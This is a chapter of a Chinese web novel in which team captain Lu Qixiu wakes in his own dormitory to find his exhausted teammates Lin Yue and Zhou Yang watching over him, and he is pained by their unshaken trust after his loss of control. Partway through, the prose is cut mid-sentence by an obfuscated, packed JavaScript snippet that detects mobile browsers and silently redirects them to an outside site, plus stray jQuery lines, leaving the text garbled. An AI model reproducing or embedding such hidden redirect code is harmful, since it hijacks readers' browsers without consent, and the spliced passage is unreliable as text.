鸟鸣声。
不是记忆中故乡麻雀那叽叽喳喳的喧闹，而是这个异世界某种羽色艳丽、鸣声清越却带着一丝陌生韵律的鸟儿发出的啼叫。
这声音穿透了尚未完全清醒的意识，将陆齐修从那片沉重而纷乱的梦境余烬中，缓缓拖拽出来。
意识回笼的瞬间，首先感受到的不是身体的状态，而是环境。
身下的触感不再是医疗部走廊冰冷坚硬的地板，而是……相对柔软的床铺。鼻尖萦绕的，也不是消毒水的刺鼻气味，而是一种淡淡的、属于织物和阳光晒过后的、隐约带着一丝他自己熟悉的、来自故乡记忆中的洗涤剂清香（他费了很大劲才找到近似味道的替代品）。
他猛地睁开眼。
映入眼帘的，是他无比熟悉的天花板——不是分部宿舍统一的那种冷白色、带有嵌入式柔和光带的样式，而是他凭着记忆，自己动手粉刷成的、略带米黄色的粗糙质感。
视线微移，能看到窗前那张他根据记忆草图、找技术部老技师帮忙打造的、造型简朴甚至有些笨重的木质书桌，上面还摊开着几本这个世界的通用语书籍和他自己用简陋装订的、记录“替代食材”和“复刻菜谱”的笔记本。
这是他的宿舍。他几乎从不让人进来的私人空间。
因为这里的许多细节，都带着那个再也回不去的世界的烙印，与这个高科技又光怪陆离的异界格格不入。这是他小心翼翼守护的、最后一点关于“家”的幻影。
然后，他察觉到了身边的气息。
他僵硬地、极其缓慢地转动脖颈。
在他床边的椅子上，周扬那庞大的身躯以一种看起来就极不舒服的姿势仰靠着，头歪向一边，发出均匀而沉重的呼吸声——他睡着了。而床沿，林玥正趴在那里，脑袋枕着自己的手臂，也沉沉地睡着。
他们两个……怎么会在这里？
陆齐修的心脏猛地一缩，下意识地就想坐起来，或者至少动一下。但他立刻僵住了。
他看到了林玥眼下那浓重的、连沉睡都无法完全化开的黑眼圈。他也看到了周扬即使是在睡梦中，那紧锁的眉头和眉宇间挥之不去的疲惫。
他们一定累坏了。
在自己昏迷的这段时间里，他们恐怕一直守在这里，处理着战后的混乱，承受着失去战友的悲痛，还要担心着自己这个状态极不稳定的队长……
一股酸涩涌上鼻腔，让他几乎要控制不住情绪。他死死咬住牙关，强迫自己维持着原本的姿势，连呼吸都放得极轻，生怕惊扰了他们的安眠。
然而，在这份不忍之下，另一种更加阴暗、更加自私的期盼，如同沼泽中的气泡，再次咕嘟咕嘟地冒了出来。
‘看着我，’他在心中无声地祈求，带着一种近乎自虐的渴望，‘等你们醒来，用仇恨的眼光看着我吧。质问我，为什么像个怪物一样伤害了怀柔？为什么没能保护好老秦和老赵？’
‘恐惧我……哪怕只是流露出一丝对那柄【戮】的恐惧……也好啊……’
他需要一种外在的、明确的否定。需要有人来指着他，告诉他：“陆齐修，你错了，你是个危险的存在，你辜负了我们，我们恨你，怕你！”
这样的审判，对他而言，反而是一种解脱。一种可以让他将这沉甸甸的、名为“责任”与“愧疚”的巨石稍稍卸下一点点的借口。
‘我是孤魂……’这个念头虽然因为昨夜的梦境而不再像之前那般根深蒂固，却仍旧如同幽灵般徘徊不去。他觉得自己不配拥有这样毫无保留的守护和等待。
仿佛听到了他内心扭曲的呼唤，趴在床沿的林玥轻轻动了一下，发出一声细微的嘤咛，缓缓抬起了头。
她揉了揉惺忪的睡眼，视线还有些模糊，但当她的目光聚焦，看清躺在床上、正静静看着她的陆齐修时，那双因疲惫而带着血丝的眼睛，瞬间亮了起来！
那里面，没有刚睡醒的迷茫，没有面对一个失控伤人者的恐惧，更没有一丝一毫的埋怨或仇恨。
只有纯粹的、不掺任何杂质的……喜悦与安心。
“队长！你醒了！”林玥的声音带着刚睡醒的沙哑，却充满了活力，她立刻直起身，脸上绽放出如释重负的笑容，“太好了！你感觉怎么样？还有哪里不舒服吗？”
她的声音也惊醒了椅子上的周扬。
周扬猛地坐直身体，晃了晃有些僵硬的脖子，看到醒来的陆齐修，他那张憨厚沉稳的脸上，也立刻露出了一个实实在在的、带着疲惫却无比真诚的笑容：“队长。”
他的称呼依旧简单，但那眼神里的意味，与林玥如出一辙——是看到主心骨醒来后的踏实，是历经劫难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539985|186611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后同伴依旧在身边的庆幸。
没有恐惧。
没有怨恨。
甚至连一丝一毫的质疑和疏离都没有。
他们看着他的眼神，和以前无数次任务结束后，看着他平安归来时的眼神，一模一样。
充满了对拥有一个强大队长的依赖与开心，仿佛他之前那场疯狂的堕落、那柄染血的凶剑【戮】，都只是一场无关紧要的噩梦，梦醒了，他们的队长还是那个值得信赖的队长。
这……这不对！
陆齐修在心中呐喊。事情不应该是这样的！他伤害了路怀柔！他间接导致了秦虎和赵乾的死亡！他失控了！他变成了一个怪物！他们应该害怕他！应该指责他！应该用最冰冷的目光将他推开！
可为什么……为什么他们还能用这样全无阴霾的、充满了信赖的目光看着他？
这份毫无保留的、沉重到令人窒息的信赖，比任何憎恨与恐惧，都更让他感到痛苦！
它像一双无形却无比温暖的手，死死攥住了他那颗自认为冰冷、孤寂、罪孽深重的心脏，让他无法挣脱，也无法呼吸。
他张了张嘴，想说点什么。想道歉，想解释，想祈求他们的原谅，或者……更扭曲地，想激怒他们，逼迫他们露出他“期待”的表情。
可是，看着林玥那纯粹喜悦的眼神，看着周扬那沉默却坚实的姿态，所有的话都卡在了喉咙里，化作一阵剧烈的、无法抑制的咳嗽。
“咳咳咳……！”
他咳得撕心裂肺，仿佛要将五脏六腑都咳出来，苍白的脸上泛起不正常的潮红。
“队长！”林玥吓了一跳，连忙上前轻轻拍打他的后背，语气充满了担忧，“你没事吧？是不是还有内伤没好啊？我去叫医疗兵！”
周扬也立刻站起身，脸上写满了紧张。
“不……不用……”陆齐修艰难地止住咳嗽，抬起手，虚弱地摆了摆。他避开林玥关切的目光，垂下眼帘，声音低得几乎听不见，“我……没事。只是……有点累。”
他无法面对。
他无法承受这份过于纯净的、他觉得自己根本不配拥有的信赖。
这信赖，无声无息，却比世界上最严厉的审判，更让他无地自容。
它没有改变任何事情，却让他的心脏，沉重得难以跳动。